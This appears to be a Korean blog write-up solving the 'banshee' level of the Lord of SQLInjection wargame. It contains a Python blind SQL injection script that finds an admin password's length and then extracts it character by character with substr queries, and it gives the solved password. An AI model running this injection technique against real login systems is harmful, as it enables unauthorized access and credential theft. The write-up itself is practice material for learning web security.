> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-banshee.md).

# \[Lord Of SQLInjection] banshee

<figure><img src="https://blog.kakaocdn.net/dna/Cc20j/btsNDq4CCpF/AAAAAAAAAAAAAAAAAAAAANk_4-QsjfoBxEHMkBAvpfTkI4H2aRdaf9WMeZB-Zm3i/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=vcsXcQh9YagIGcpX4grvMB58%2Bho%3D" alt="" height="304" width="535"><figcaption></figcaption></figure>

#### 특징

* pw에서는 sqlite, member, \_를 대소문자 구분 없이 필터링 처리함.
* pw파라미터에 인증 우회 구문을 넣는 시도를 한다.

```
import requests

flag = ""
length = 0

url = "https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php?pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 20):
	try:
		query = url + "1' or id='admin' and length(pw)=" + str(i) + " -- "
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'login success!' in r.text:
		length = i
		break

print "[+] Found length : ", length

print "[+] Find password"

for j in range(1, length + 1):
	for i in range(48, 128):
		try:
			query = url + "1' or id='admin' and substr(pw, " + str(j) + ", 1)='" + chr(i)
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'login success!' in r.text:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"
```

* 1' or id='admin' and length(pw)=1 형태의 쿼리를 입력 해 pw 의 길이를 파악 가능
* pw를 한 글자씩 찾는다
  * blind injection (여태 사용한 방식과 같음)
  * substr(pw, 1, 1)='a' 의 쿼리를 사용
  * 출력 값이 곧 pw 값

#### &#x20;

#### URL

```
[도메인 값]?pw=0313091b
```

<figure><img src="https://blog.kakaocdn.net/dna/VOOG0/btsNEFsXBjS/AAAAAAAAAAAAAAAAAAAAAO-5-grtaj4lrsLoDFbfL0jumh1OXbuT612uLlRMcKo7/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=WMvN%2B4wWkAlv6WJB8pWZ97fssQ8%3D" alt="" height="442" width="638"><figcaption></figcaption></figure>


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